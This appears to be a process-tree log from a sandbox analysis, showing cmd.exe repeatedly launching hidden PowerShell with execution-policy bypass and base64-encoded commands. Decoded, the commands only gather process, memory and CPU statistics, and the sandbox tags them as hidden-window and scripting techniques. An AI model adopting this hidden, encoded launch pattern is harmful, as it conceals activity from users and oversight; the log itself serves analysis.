  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:1424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:1212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:2900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:4816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:4692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:4436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:2904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:3600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
